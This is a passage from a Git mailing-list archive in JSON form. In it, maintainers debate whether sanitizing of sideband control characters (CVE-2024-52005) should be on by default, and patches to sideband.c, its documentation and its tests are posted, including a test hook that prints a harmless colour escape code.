(meaning: default off everywhere, even for the\ninitial contact with an unknown repository).\n\n> If the proposal is \"full pass-through of all control characters is\n> opt-in\", or \"full sanitizing of all control characters is opt-in\", I\n> whole-heartedly agree: That is already opt-in via setting\n> `sideband.allowControlCharacters` to `false` or `true`, respectively.\n>\n> If the proposal is \"keep the historical behavior (verbatim sideband\n> payload, no sanitization) as the default, and make sanitization opt-in\", I\n> am firmly opposed: This makes the sideband payload remote-controlled; A\n> security hardening that is off by default will not protect the default\n> user population.\n>\n> Can you confirm which of these two meanings you intend when you say\n> \"opt-in\" here? Once that's clarified, we can discuss whether the default\n> should remain at \"color-only\" (today's default) with explicit opt-in for\n> riskier sequences, or whether you're arguing for no filtering at all by\n> default.\n\nThe latter.\n\nI wouldn't be surprised if people, who usually do not participate in\nthe discussion around here, are highly inconvenienced when we\nsuddenly filter out IEC/ISO 2022:1994, for example.  Not that I\nsuspect that these character encodings are still popular in some\nparts of the world, but that I fundamentally disagree with the\nattitude \"we explicitly allow colors to be passed so it is perfectly\nfine if we filter everything else out\".\n\n\n[References]\n\n* https://lore.kernel.org/git/aWKLrIefrcSwReu2@fruit.crustytoothpaste.net/\n* https://lore.kernel.org/git/CA+B51BEs7kuJ7s+K2vbZLSoaq3krGrqVncQAaTjSSNazFLY3tw@mail.gmail.com/\n"},{"id":"535035","messageId":"xmqqo6m6vdf8.fsf@gitster.g","threadId":"62809","inReplyTo":"aWlz-0AOlsFLaBO9@fruit.crustytoothpaste.net","subject":"Re: [PATCH v2 4/4] sideband: add options to allow more control sequences to be passed through","fromName":"Junio C Hamano","fromEmail":"gitster@pobox.com","sentAt":"2026-02-03T01:11:39Z","receivedAt":"2026-02-03T01:11:43Z","isPatch":true,"body":"\"brian m. carlson\" <sandals@crustytoothpaste.net> writes:\n\n> On 2026-01-15 at 21:14:48, Jeff King wrote:\n>> Is there any reason we cannot introduce the new functionality as a\n>> config option but _not_ enable it by default?\n>> \n>> That gives people the tools to protect themselves if they want to bear\n>> the potential cost. It just feels a shame to deny them the tool because\n>> we can't agree on the default.\n>\n> Yes, I think that would be a fine and reasonable approach.\n\nAbsolutely.\n\nAfter a few weeks, however, nobody seems to have stepped up to help\nus move forward (unless I missed a patch or two, of course), so here\nis my attempt.  To be applied on top of Dscho's 5-patch series (v3)\nthat ends at c5b95e19 (sideband: offer to configure sanitizing on a\nper-URL basis, 2026-01-16).\n\nThanks.\n\n--- >8 ---\nFrom: Junio C Hamano <gitster@pobox.com>\nDate: Mon, 2 Feb 2026 17:06:03 -0800\nSubject: [PATCH 5/4] sideband: neuter the sideband filtering\n\nTo prevent breaking settings that are working well for existing\nusers, tone down the sideband filtering feature and turn it off by\ndefault.  This hopefully matches the way how distros like Fedora and\nRHEL are shipping this feature in theirs.\n\nSigned-off-by: Junio C Hamano <gitster@pobox.com>\n---\n Documentation/config/sideband.txt   | 14 +++++++-------\n sideband.c                          |  6 ++----\n t/t5409-colorize-remote-messages.sh | 12 ++++++++----\n 3 files changed, 17 insertions(+), 15 deletions(-)\n\ndiff --git a/Documentation/config/sideband.txt b/Documentation/config/sideband.txt\nindex 32088bbf2f..d2cd86fa60 100644\n--- a/Documentation/config/sideband.txt\n+++ b/Documentation/config/sideband.txt\n@@ -1,15 +1,15 @@\n sideband.allowControlCharacters::\n-\tBy default, control characters that are delivered via the sideband\n-\tare masked, except ANSI color sequences. This prevents potentially\n-\tunwanted ANSI escape sequences from being sent to the terminal. Use\n-\tthis config setting to override this behavior (the value can be\n-\ta comma-separated list of the following keywords):\n+\tBy default, control characters that are delivered via the\n+\tsideband are all passed through.  To prevent potentially\n+\tunwanted ANSI escape sequences from being sent to the\n+\tterminal, use this config setting to override this behavior\n+\t(the value can be a comma-separated list of the following\n+\tkeywords):\n +\n --\n-\t`default`::\n \t`color`::\n \t\tAllow ANSI color sequences, line feeds and horizontal tabs,\n-\t\tbut mask all other control characters. This is the default.\n+\t\tbut mask all other control characters.\n \t`cursor:`:\n \t\tAllow control sequences that move the cursor. This is\n \t\tdisabled by default.\ndiff --git a/sideband.c b/sideband.c\nindex a8cd142cd7..3d8534671e 100644\n--- a/sideband.c\n+++ b/sideband.c\n@@ -61,9 +61,7 @@ int sideband_allow_control_characters_config(const char *var, const char *value)\n \n \tallow_control_characters = ALLOW_NO_CONTROL_CHARACTERS;\n \twhile (*value) {\n-\t\tif (skip_prefix_in_csv(value, \"default\", &value))\n-\t\t\tallow_control_characters |= ALLOW_DEFAULT_ANSI_SEQUENCES;\n-\t\telse if (skip_prefix_in_csv(value, \"color\", &value))\n+\t\tif (skip_prefix_in_csv(value, \"color\", &value))\n \t\t\tallow_control_characters |= ALLOW_ANSI_COLOR_SEQUENCES;\n \t\telse if (skip_prefix_in_csv(value, \"cursor\", &value))\n \t\t\tallow_control_characters |= ALLOW_ANSI_CURSOR_MOVEMENTS;\n@@ -125,7 +123,7 @@ static int use_sideband_colors(void)\n \t\t\tsideband_allow_control_characters_config(\"sideband.allowcontrolcharacters\", value);\n \n \t\tif (allow_control_characters == ALLOW_CONTROL_SEQUENCES_UNSET)\n-\t\t\tallow_control_characters = ALLOW_DEFAULT_ANSI_SEQUENCES;\n+\t\t\tallow_control_characters = ALLOW_ALL_CONTROL_CHARACTERS;\n \t}\n \n \tif (!git_config_get_string_tmp(key, &value))\ndiff --git a/t/t5409-colorize-remote-messages.sh b/t/t5409-colorize-remote-messages.sh\nindex 1d039cbdaf..47bc8bbef2 100755\n--- a/t/t5409-colorize-remote-messages.sh\n+++ b/t/t5409-colorize-remote-messages.sh\n@@ -107,7 +107,8 @@ test_expect_success 'disallow (color) control sequences in sideband' '\n \ttest_config_global uploadPack.packObjectsHook ./color-me-surprised &&\n \ttest_commit need-at-least-one-commit &&\n \n-\tgit clone --no-local . throw-away 2>stderr &&\n+\tgit -c sideband.allowControlCharacters=color \\\n+\t\tclone --no-local . throw-away 2>stderr &&\n \ttest_decode_color <stderr >decoded &&\n \ttest_grep RED decoded &&\n \ttest_grep \"\\\\^G\" stderr &&\n@@ -122,7 +123,8 @@ test_expect_success 'disallow (color) control sequences in sideband' '\n \ttest_grep \"\\\\^G\" stderr &&\n \n \trm -rf throw-away &&\n-\tgit -c sideband.allowControlCharacters clone --no-local . throw-away 2>stderr &&\n+\tgit -c sideband.allowControlCharacters \\\n+\t\tclone --no-local . throw-away 2>stderr &&\n \ttest_decode_color <stderr >decoded &&\n \ttest_grep RED decoded &&\n \ttr -dc \"\\\\007\" <stderr >actual &&\n@@ -148,7 +150,8 @@ test_expect_success 'control sequences in sideband allowed by default' '\n \ttest_commit need-at-least-one-commit-at-least &&\n \n \trm -rf throw-away &&\n-\tgit clone --no-local . throw-away 2>stderr &&\n+\tgit -c sideband.allowControlCharacters=color \\\n+\t\tclone --no-local . throw-away 2>stderr &&\n \ttest_decode_color <stderr >color-decoded &&\n \ttest_decode_csi <color-decoded >decoded &&\n \ttest_grep ! \"CSI \\\\[K\" decoded &&\n@@ -176,7 +179,8 @@ test_expect_success 'allow all control sequences for a specific URL' '\n \ttest_commit one-more-please &&\n \n \trm -rf throw-away &&\n-\tgit clone --no-local . throw-away 2>stderr &&\n+\tgit -c sideband.allowControlCharacters=color \\\n+\t\tclone --no-local . throw-away 2>stderr &&\n \ttest_decode_color <stderr >color-decoded &&\n \ttest_decode_csi <color-decoded >decoded &&\n \ttest_grep ! \"CSI \\\\[K\" decoded &&\n-- \n2.53.0-162-gcda875bd0b\n\n"},{"id":"535039","messageId":"22d81c06-6ef8-dadb-5f1c-cd9461bb290d@gmx.de","threadId":"62809","inReplyTo":"xmqqo6m6vdf8.fsf@gitster.g","subject":"Re: [PATCH v2 4/4] sideband: add options to allow more control sequences to be passed through","fromName":"Johannes Schindelin","fromEmail":"johannes.schindelin@gmx.de","sentAt":"2026-02-03T07:12:47Z","receivedAt":"2026-02-03T07:13:02Z","isPatch":true,"body":"Hi Junio,\n\nOn Tue, 3 Feb 2026, Junio C Hamano wrote:\n\n> \"brian m. carlson\" <sandals@crustytoothpaste.net> writes:\n> \n> > On 2026-01-15 at 21:14:48, Jeff King wrote:\n> >> Is there any reason we cannot introduce the new functionality as a\n> >> config option but _not_ enable it by default?\n> >> \n> >> That gives people the tools to protect themselves if they want to bear\n> >> the potential cost. It just feels a shame to deny them the tool because\n> >> we can't agree on the default.\n> >\n> > Yes, I think that would be a fine and reasonable approach.\n> \n> Absolutely.\n\nI disagree with neutering this security fix. Let me explain why, and then\npropose a compromise.\n\nCVE-2024-52005 exists because Git passes untrusted payload to the terminal\nwithout sanitization. The terminal interprets control sequences sent to it\n(it has no way to distinguish between sequences Git _intended_ to send and\nsequences a malicious remote slipped into the sideband). That\nresponsibility falls squarely on Git. Shifting it to terminal emulators is\nnot viable: they _cannot_ make that distinction.\n\nThis is not about one specific vulnerability (OSC 8 or otherwise). It is\nabout the principle that programs must sanitize untrusted input before\npassing it to an interpreter. Terminal emulators are interpreters. The set\nof exploitable sequences changes over time as terminals add features; the\nonly durable fix is sanitization at the source.\n\nNow, about breaking existing users.\n\nThe patches I submitted _do not_ break pre-receive hooks that emit color\nsequences. Color sequences are allowed by default. What is disabled by\ndefault are sequences that set the window title, query terminal state,\nmove the cursor, etc. (functionality that legitimate hooks have no\nbusiness using, and functionality that is ripe for exploitation).\n\nThe concern about Japanese ISO encodings colliding with control bytes is\ntheoretical at best: sideband messages are prefixed with the ASCII string\n\"remote: \", so any such encoding would already be broken today.\n\nHere is the problem with \"off by default\".\n\nTurning the sanitization off by default means CVE-2024-52005 remains\nunaddressed for the vast majority of users. Providing an opt-in config is\nsecurity theater: users who do not know about the vulnerability will not\nenable the protection. That is the opposite of defense in depth.\n\nFedora's decision to ship with sanitization disabled does not validate the\napproach; it reflects their reluctance to diverge from upstream defaults,\nnot a security analysis concluding that the default is safe.\n\nThat said, I can see a path forward.\n\n1. Turn sanitization _off_ by default in 2.x.\n2. Document clearly that this default will change.\n3. In Git 3.0 (the next breaking-changes release), flip the default so\n   that `sideband.allowControlCharacters=color` is the baseline, i.e.\n   color sequences pass through, but nothing else does.\n\nThis gives users and tooling (and support engineers) time to adapt while\ncommitting to secure-by-default behavior in the near future.\n\nI would appreciate hearing from anyone on the list with security\nexpertise. The principle that untrusted input must be sanitized before\nreaching an interpreter is foundational; I am not aware of any credible\nsecurity guidance that says otherwise.\n\nCiao,\nDscho\n"},{"id":"535047","messageId":"pull.1853.v4.git.1770113882.gitgitgadget@gmail.com","threadId":"62809","inReplyTo":"pull.1853.v3.git.1768602373.gitgitgadget@gmail.com","subject":"[PATCH v4 0/6] Sanitize sideband channel messages","fromName":"Johannes Schindelin via GitGitGadget","fromEmail":"gitgitgadget@gmail.com","sentAt":"2026-02-03T10:17:56Z","receivedAt":"2026-02-03T10:18:06Z","isPatch":true,"body":"Git's sideband channel passes server output directly to the client terminal\nwithout sanitizing it, creating an ANSI escape sequence injection\nvulnerability (CWE-150 [https://cwe.mitre.org/data/definitions/150.html]). A\nmalicious or compromised server can corrupt terminal state, obscure\ninformation, or inject characters into the terminal's input buffer (which\nthe terminal will interpret as if the user had typed them).\n\nGit users have no mechanism to distinguish between Git's legitimate output\nand content displayed (or hidden) via attack sequences.\n\nThis series aims to fix the vulnerability by sanitizing control characters\nin the sideband output. To address concerns about existing hacks that\nexploit Git's lack of sanitizing, this security fix will only kick in with\nGit v3.0, where the default will change to pass ANSI color sequences (SGR\ncodes) through by default, since server-side hooks exist that use these for\nvisibility (e.g. https://github.com/kikeonline/githook-explode). By default,\nall other control characters will be rendered in caret notation (e.g., ESC\nbecomes ^[).\n\nUsers who need different behavior get configuration options:\nsideband.allowControlCharacters provides an escape hatch for environments\nthat require raw passthrough. The defaults in Git v3.0 will be secure.\n\nThis series applies cleanly on v2.53.0.\n\nChanges since v3:\n\n * Targeting maint-2.53 now instead of maint-2.47.\n * Turned the \"safe by default\" behavior into a breaking change that will be\n   in effect in Git v3.0.\n\nChanges since v2:\n\n * Added curly brackets around a single-line if clause.\n * Enclosed the values in the documentation within backticks.\n * Aligned the enum values for better readability.\n * Added support for sideband.<url>.allowControlCharacters (à la\n   http.<url>.*) on top of sideband.allowControlCharacters.\n\nChanges since v1:\n\n * Applied the suggestions by Phillip and brian.\n * Rebased onto v2.47.3.\n * Added more categories of ANSI Escape sequences that can be enabled (but\n   that are off by default because they could be used to hide information).\n\nJohannes Schindelin (6):\n  sideband: mask control characters\n  sideband: introduce an \"escape hatch\" to allow control characters\n  sideband: do allow ANSI color sequences by default\n  sideband: add options to allow more control sequences to be passed\n    through\n  sideband: offer to configure sanitizing on a per-URL basis\n  sideband: delay sanitizing by default to Git v3.0\n\n Documentation/config.adoc           |   2 +\n Documentation/config/sideband.adoc  |  39 ++++++\n sideband.c                          | 185 +++++++++++++++++++++++++++-\n sideband.h                          |  14 +++\n t/t5409-colorize-remote-messages.sh | 100 +++++++++++++++\n transport.c                         |   3 +\n 6 files changed, 341 insertions(+), 2 deletions(-)\n create mode 100644 Documentation/config/sideband.adoc\n\n\nbase-commit: 67ad42147a7acc2af6074753ebd03d904476118f\nPublished-As: https://github.com/gitgitgadget/git/releases/tag/pr-1853%2Fdscho%2Fsanitize-sideband-v4\nFetch-It-Via: git fetch https://github.com/gitgitgadget/git pr-1853/dscho/sanitize-sideband-v4\nPull-Request: https://github.com/gitgitgadget/git/pull/1853\n\nRange-diff vs v3:\n\n 1:  e6b71af0ca = 1:  7addb9ca52 sideband: mask control characters\n 2:  8f64d65844 ! 2:  20058534e8 sideband: introduce an \"escape hatch\" to allow control characters\n     @@ Commit message\n          Suggested-by: brian m. carlson <sandals@crustytoothpaste.net>\n          Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>\n      \n     - ## Documentation/config.txt ##\n     -@@ Documentation/config.txt: include::config/sequencer.txt[]\n     + ## Documentation/config.adoc ##\n     +@@ Documentation/config.adoc: include::config/sequencer.adoc[]\n       \n     - include::config/showbranch.txt[]\n     + include::config/showbranch.adoc[]\n       \n     -+include::config/sideband.txt[]\n     ++include::config/sideband.adoc[]\n      +\n     - include::config/sparse.txt[]\n     + include::config/sparse.adoc[]\n       \n     - include::config/splitindex.txt[]\n     + include::config/splitindex.adoc[]\n      \n     - ## Documentation/config/sideband.txt (new) ##\n     + ## Documentation/config/sideband.adoc (new) ##\n      @@\n      +sideband.allowControlCharacters::\n      +\tBy default, control characters that are delivered via the sideband\n     @@ sideband.c: static struct keyword_entry keywords[] = {\n      +static int allow_control_characters;\n      +\n       /* Returns a color setting (GIT_COLOR_NEVER, etc). */\n     - static int use_sideband_colors(void)\n     + static enum git_colorbool use_sideband_colors(void)\n       {\n     -@@ sideband.c: static int use_sideband_colors(void)\n     - \tif (use_sideband_colors_cached >= 0)\n     +@@ sideband.c: static enum git_colorbool use_sideband_colors(void)\n     + \tif (use_sideband_colors_cached != GIT_COLOR_UNKNOWN)\n       \t\treturn use_sideband_colors_cached;\n       \n     -+\tgit_config_get_bool(\"sideband.allowcontrolcharacters\",\n     ++\trepo_config_get_bool(the_repository, \"sideband.allowcontrolcharacters\",\n      +\t\t\t    &allow_control_characters);\n      +\n     - \tif (!git_config_get_string_tmp(key, &value))\n     + \tif (!repo_config_get_string_tmp(the_repository, key, &value))\n       \t\tuse_sideband_colors_cached = git_config_colorbool(key, value);\n     - \telse if (!git_config_get_string_tmp(\"color.ui\", &value))\n     + \telse if (!repo_config_get_string_tmp(the_repository, \"color.ui\", &value))\n      @@ sideband.c: void list_config_color_sideband_slots(struct string_list *list, const char *pref\n       \n       static void strbuf_add_sanitized(struct strbuf *dest, const char *src, int n)\n 3:  44838acacc ! 3:  919111f590 sideband: do allow ANSI color sequences by default\n     @@ Commit message\n      \n          Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>\n      \n     - ## Documentation/config/sideband.txt ##\n     + ## Documentation/config/sideband.adoc ##\n      @@\n       sideband.allowControlCharacters::\n       \tBy default, control characters that are delivered via the sideband\n     @@ sideband.c: static struct keyword_entry keywords[] = {\n      +} allow_control_characters = ALLOW_ANSI_COLOR_SEQUENCES;\n       \n       /* Returns a color setting (GIT_COLOR_NEVER, etc). */\n     - static int use_sideband_colors(void)\n     -@@ sideband.c: static int use_sideband_colors(void)\n     - \tif (use_sideband_colors_cached >= 0)\n     + static enum git_colorbool use_sideband_colors(void)\n     +@@ sideband.c: static enum git_colorbool use_sideband_colors(void)\n     + \tif (use_sideband_colors_cached != GIT_COLOR_UNKNOWN)\n       \t\treturn use_sideband_colors_cached;\n       \n     --\tgit_config_get_bool(\"sideband.allowcontrolcharacters\",\n     +-\trepo_config_get_bool(the_repository, \"sideband.allowcontrolcharacters\",\n      -\t\t\t    &allow_control_characters);\n     -+\tswitch (git_config_get_maybe_bool(\"sideband.allowcontrolcharacters\", &i)) {\n     ++\tswitch (repo_config_get_maybe_bool(the_repository, \"sideband.allowcontrolcharacters\", &i)) {\n      +\tcase 0: /* Boolean value */\n      +\t\tallow_control_characters = i ? ALLOW_ALL_CONTROL_CHARACTERS :\n      +\t\t\tALLOW_NO_CONTROL_CHARACTERS;\n      +\t\tbreak;\n      +\tcase -1: /* non-Boolean value */\n     -+\t\tif (git_config_get_string_tmp(\"sideband.allowcontrolcharacters\",\n     ++\t\tif (repo_config_get_string_tmp(the_repository, \"sideband.allowcontrolcharacters\",\n      +\t\t\t\t\t      &value))\n      +\t\t\t; /* huh? `get_maybe_bool()` returned -1 */\n      +\t\telse if (!strcmp(value, \"default\"))\n     @@ sideband.c: static int use_sideband_colors(void)\n      +\t\tbreak; /* not configured */\n      +\t}\n       \n     - \tif (!git_config_get_string_tmp(key, &value))\n     + \tif (!repo_config_get_string_tmp(the_repository, key, &value))\n       \t\tuse_sideband_colors_cached = git_config_colorbool(key, value);\n      @@ sideband.c: void list_config_color_sideband_slots(struct string_list *list, const char *pref\n       \t\tlist_config_item(list, prefix, keywords[i].keyword);\n 4:  cc578465b9 ! 4:  ec48f1cba1 sideband: add options to allow more control sequences to be passed through\n     @@ Commit message\n      \n          Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>\n      \n     - ## Documentation/config/sideband.txt ##\n     -@@ Documentation/config/sideband.txt: sideband.allowControlCharacters::\n     + ## Documentation/config/sideband.adoc ##\n     +@@ Documentation/config/sideband.adoc: sideband.allowControlCharacters::\n       \tBy default, control characters that are delivered via the sideband\n       \tare masked, except ANSI color sequences. This prevents potentially\n       \tunwanted ANSI escape sequences from being sent to the terminal. Use\n     @@ sideband.c: static struct keyword_entry keywords[] = {\n      +}\n       \n       /* Returns a color setting (GIT_COLOR_NEVER, etc). */\n     - static int use_sideband_colors(void)\n     -@@ sideband.c: static int use_sideband_colors(void)\n     - \t\tif (git_config_get_string_tmp(\"sideband.allowcontrolcharacters\",\n     + static enum git_colorbool use_sideband_colors(void)\n     +@@ sideband.c: static enum git_colorbool use_sideband_colors(void)\n     + \t\tif (repo_config_get_string_tmp(the_repository, \"sideband.allowcontrolcharacters\",\n       \t\t\t\t\t      &value))\n       \t\t\t; /* huh? `get_maybe_bool()` returned -1 */\n      -\t\telse if (!strcmp(value, \"default\"))\n 5:  f2eb0a758c ! 5:  692d1a63ed sideband: offer to configure sanitizing on a per-URL basis\n     @@ Commit message\n          Suggested-by: Junio Hamano <gitster@pobox.com>\n          Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>\n      \n     - ## Documentation/config/sideband.txt ##\n     -@@ Documentation/config/sideband.txt: sideband.allowControlCharacters::\n     + ## Documentation/config/sideband.adoc ##\n     +@@ Documentation/config/sideband.adoc: sideband.allowControlCharacters::\n       \t`true`::\n       \t\tAllow all control characters to be sent to the terminal.\n       --\n     @@ sideband.c: static void parse_allow_control_characters(const char *value)\n      +\tconfig.collect_fn = sideband_config_callback;\n      +\n      +\tnormalized_url = url_normalize(url, &config.url);\n     -+\tgit_config(urlmatch_config_entry, &config);\n     ++\trepo_config(the_repository, urlmatch_config_entry, &config);\n      +\tfree(normalized_url);\n      +\tstring_list_clear(&config.vars, 1);\n      +\turlmatch_config_release(&config);\n       }\n       \n       /* Returns a color setting (GIT_COLOR_NEVER, etc). */\n     -@@ sideband.c: static int use_sideband_colors(void)\n     - \tif (use_sideband_colors_cached >= 0)\n     +@@ sideband.c: static enum git_colorbool use_sideband_colors(void)\n     + \tif (use_sideband_colors_cached != GIT_COLOR_UNKNOWN)\n       \t\treturn use_sideband_colors_cached;\n       \n     --\tswitch (git_config_get_maybe_bool(\"sideband.allowcontrolcharacters\", &i)) {\n     +-\tswitch (repo_config_get_maybe_bool(the_repository, \"sideband.allowcontrolcharacters\", &i)) {\n      -\tcase 0: /* Boolean value */\n      -\t\tallow_control_characters = i ? ALLOW_ALL_CONTROL_CHARACTERS :\n      -\t\t\tALLOW_NO_CONTROL_CHARACTERS;\n      -\t\tbreak;\n      -\tcase -1: /* non-Boolean value */\n     --\t\tif (git_config_get_string_tmp(\"sideband.allowcontrolcharacters\",\n     +-\t\tif (repo_config_get_string_tmp(the_repository, \"sideband.allowcontrolcharacters\",\n      -\t\t\t\t\t      &value))\n      -\t\t\t; /* huh? `get_maybe_bool()` returned -1 */\n      -\t\telse\n     @@ sideband.c: static int use_sideband_colors(void)\n      -\tdefault:\n      -\t\tbreak; /* not configured */\n      +\tif (allow_control_characters == ALLOW_CONTROL_SEQUENCES_UNSET) {\n     -+\t\tif (!git_config_get_value(\"sideband.allowcontrolcharacters\", &value))\n     ++\t\tif (!repo_config_get_value(the_repository, \"sideband.allowcontrolcharacters\", &value))\n      +\t\t\tsideband_allow_control_characters_config(\"sideband.allowcontrolcharacters\", value);\n      +\n      +\t\tif (allow_control_characters == ALLOW_CONTROL_SEQUENCES_UNSET)\n      +\t\t\tallow_control_characters = ALLOW_DEFAULT_ANSI_SEQUENCES;\n       \t}\n       \n     - \tif (!git_config_get_string_tmp(key, &value))\n     + \tif (!repo_config_get_string_tmp(the_repository, key, &value))\n      \n       ## sideband.h ##\n      @@ sideband.h: int demultiplex_sideband(const char *me, int status,\n     @@ transport.c\n       #include \"bundle-uri.h\"\n      +#include \"sideband.h\"\n       \n     - static int transport_use_color = -1;\n     + static enum git_colorbool transport_use_color = GIT_COLOR_UNKNOWN;\n       static char transport_colors[][COLOR_MAXLEN] = {\n      @@ transport.c: struct transport *transport_get(struct remote *remote, const char *url)\n       \n     - \tret->hash_algo = &hash_algos[GIT_HASH_SHA1];\n     + \tret->hash_algo = &hash_algos[GIT_HASH_SHA1_LEGACY];\n       \n      +\tsideband_apply_url_config(ret->url);\n      +\n -:  ---------- > 6:  8b8244eca9 sideband: delay sanitizing by default to Git v3.0\n\n-- \ngitgitgadget\n"},{"id":"535048","messageId":"7addb9ca529ddf9baf0350f95388516cc27525c2.1770113882.git.gitgitgadget@gmail.com","threadId":"62809","inReplyTo":"pull.1853.v4.git.1770113882.gitgitgadget@gmail.com","subject":"[PATCH v4 1/6] sideband: mask control characters","fromName":"Johannes Schindelin via GitGitGadget","fromEmail":"gitgitgadget@gmail.com","sentAt":"2026-02-03T10:17:57Z","receivedAt":"2026-02-03T10:18:08Z","isPatch":true,"body":"From: Johannes Schindelin <johannes.schindelin@gmx.de>\n\nThe output of `git clone` is a vital component for understanding what\nhas happened when things go wrong. However, these logs are partially\nunder the control of the remote server (via the \"sideband\", which\ntypically contains what the remote `git pack-objects` process sends to\n`stderr`), and is currently not sanitized by Git.\n\nThis makes Git susceptible to ANSI escape sequence injection (see\nCWE-150, https://cwe.mitre.org/data/definitions/150.html), which allows\nattackers to corrupt terminal state, to hide information, and even to\ninsert characters into the input buffer (i.e. as if the user had typed\nthose characters).\n\nTo plug this vulnerability, disallow any control character in the\nsideband, replacing them instead with the common `^<letter/symbol>`\n(e.g. `^[` for `\\x1b`, `^A` for `\\x01`).\n\nThere is likely a need for more fine-grained controls instead of using a\n\"heavy hammer\" like this, which will be introduced subsequently.\n\nHelped-by: Phillip Wood <phillip.wood@dunelm.org.uk>\nSigned-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>\n---\n sideband.c                          | 17 +++++++++++++++--\n t/t5409-colorize-remote-messages.sh | 12 ++++++++++++\n 2 files changed, 27 insertions(+), 2 deletions(-)\n\ndiff --git a/sideband.c b/sideband.c\nindex ea7c25211e..c1bbadccac 100644\n--- a/sideband.c\n+++ b/sideband.c\n@@ -66,6 +66,19 @@ void list_config_color_sideband_slots(struct string_list *list, const char *pref\n \t\tlist_config_item(list, prefix, keywords[i].keyword);\n }\n \n+static void strbuf_add_sanitized(struct strbuf *dest, const char *src, int n)\n+{\n+\tstrbuf_grow(dest, n);\n+\tfor (; n && *src; src++, n--) {\n+\t\tif (!iscntrl(*src) || *src == '\\t' || *src == '\\n') {\n+\t\t\tstrbuf_addch(dest, *src);\n+\t\t} else {\n+\t\t\tstrbuf_addch(dest, '^');\n+\t\t\tstrbuf_addch(dest, *src == 0x7f ? '?' : 0x40 + *src);\n+\t\t}\n+\t}\n+}\n+\n /*\n  * Optionally highlight one keyword in remote output if it appears at the start\n  * of the line. This should be called for a single line only, which is\n@@ -81,7 +94,7 @@ static void maybe_colorize_sideband(struct strbuf *dest, const char *src, int n)\n \tint i;\n \n \tif (!want_color_stderr(use_sideband_colors())) {\n-\t\tstrbuf_add(dest, src, n);\n+\t\tstrbuf_add_sanitized(dest, src, n);\n \t\treturn;\n \t}\n \n@@ -114,7 +127,7 @@ static void maybe_colorize_sideband(struct strbuf *dest, const char *src, int n)\n \t\t}\n \t}\n \n-\tstrbuf_add(dest, src, n);\n+\tstrbuf_add_sanitized(dest, src, n);\n }\n \n \ndiff --git a/t/t5409-colorize-remote-messages.sh b/t/t5409-colorize-remote-messages.sh\nindex fa5de4500a..aa5b570571 100755\n--- a/t/t5409-colorize-remote-messages.sh\n+++ b/t/t5409-colorize-remote-messages.sh\n@@ -98,4 +98,16 @@ test_expect_success 'fallback to color.ui' '\n \tgrep \"<BOLD;RED>error<RESET>: error\" decoded\n '\n \n+test_expect_success 'disallow (color) control sequences in sideband' '\n+\twrite_script .git/color-me-surprised <<-\\EOF &&\n+\tprintf \"error: Have you \\\\033[31mread\\\\033[m this?\\\\n\" >&2\n+\texec \"$@\"\n+\tEOF\n+\ttest_config_global uploadPack.packObjectsHook ./color-me-surprised &&\n+\ttest_commit need-at-least-one-commit &&\n+\tgit clone --no-local . throw-away 2>stderr &&\n+\ttest_decode_color <stderr >decoded &&\n+\ttest_grep ! RED decoded\n+'\n+\n test_done\n-- \ngitgitgadget\n\n"},{"id":"535049","messageId":"20058534e869e0ab520e28fdc82ee6437d505ad2.1770113882.git.gitgitgadget@gmail.com","threadId":"62809","inReplyTo":"pull.1853.v4.git.1770113882.gitgitgadget@gmail.com","subject":"[PATCH v4 2/6] sideband: introduce an \"escape hatch\" to allow control characters","fromName":"Johannes Schindelin via GitGitGadget","fromEmail":"gitgitgadget@gmail.com","sentAt":"2026-02-03T10:17:58Z","receivedAt":"2026-02-03T10:18:09Z","isPatch":true,"body":"From: Johannes Schindelin <johannes.schindelin@gmx.de>\n\nThe preceding commit fixed the vulnerability whereas sideband messages\n(that are under the control of the remote server) could contain ANSI\nescape sequences that would be sent to the terminal verbatim.\n\nHowever, this fix may not be desirable under all circumstances, e.g.\nwhen remote servers deliberately add coloring to their messages to\nincrease their urgency.\n\nTo help with those use cases, give users a way to opt-out of the\nprotections: `sideband.allowControlCharacters`.\n\nSuggested-by: brian m. carlson <sandals@crustytoothpaste.net>\nSigned-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>\n---\n Documentation/config.adoc           |  2 ++\n Documentation/config/sideband.adoc  |  5 +++++\n sideband.c                          | 10 ++++++++++\n t/t5409-colorize-remote-messages.sh |  8 +++++++-\n 4 files changed, 24 insertions(+), 1 deletion(-)\n create mode 100644 Documentation/config/sideband.adoc\n\ndiff --git a/Documentation/config.adoc b/Documentation/config.adoc\nindex 62eebe7c54..dcea3c0c15 100644\n--- a/Documentation/config.adoc\n+++ b/Documentation/config.adoc\n@@ -523,6 +523,8 @@ include::config/sequencer.adoc[]\n \n include::config/showbranch.adoc[]\n \n+include::config/sideband.adoc[]\n+\n include::config/sparse.adoc[]\n \n include::config/splitindex.adoc[]\ndiff --git a/Documentation/config/sideband.adoc b/Documentation/config/sideband.adoc\nnew file mode 100644\nindex 0000000000..3fb5045cd7\n--- /dev/null\n+++ b/Documentation/config/sideband.adoc\n@@ -0,0 +1,5 @@\n+sideband.allowControlCharacters::\n+\tBy default, control characters that are delivered via the sideband\n+\tare masked, to prevent potentially unwanted ANSI escape sequences\n+\tfrom being sent to the terminal. Use this config setting to override\n+\tthis behavior.\ndiff --git a/sideband.c b/sideband.c\nindex c1bbadccac..682f1cbbed 100644\n--- a/sideband.c\n+++ b/sideband.c\n@@ -26,6 +26,8 @@ static struct keyword_entry keywords[] = {\n \t{ \"error\",\tGIT_COLOR_BOLD_RED },\n };\n \n+static int allow_control_characters;\n+\n /* Returns a color setting (GIT_COLOR_NEVER, etc). */\n static enum git_colorbool use_sideband_colors(void)\n {\n@@ -39,6 +41,9 @@ static enum git_colorbool use_sideband_colors(void)\n \tif (use_sideband_colors_cached != GIT_COLOR_UNKNOWN)\n \t\treturn use_sideband_colors_cached;\n \n+\trepo_config_get_bool(the_repository, \"sideband.allowcontrolcharacters\",\n+\t\t\t    &allow_control_characters);\n+\n \tif (!repo_config_get_string_tmp(the_repository, key, &value))\n \t\tuse_sideband_colors_cached = git_config_colorbool(key, value);\n \telse if (!repo_config_get_string_tmp(the_repository, \"color.ui\", &value))\n@@ -68,6 +73,11 @@ void list_config_color_sideband_slots(struct string_list *list, const char *pref\n \n static void strbuf_add_sanitized(struct strbuf *dest, const char *src, int n)\n {\n+\tif (allow_control_characters) {\n+\t\tstrbuf_add(dest, 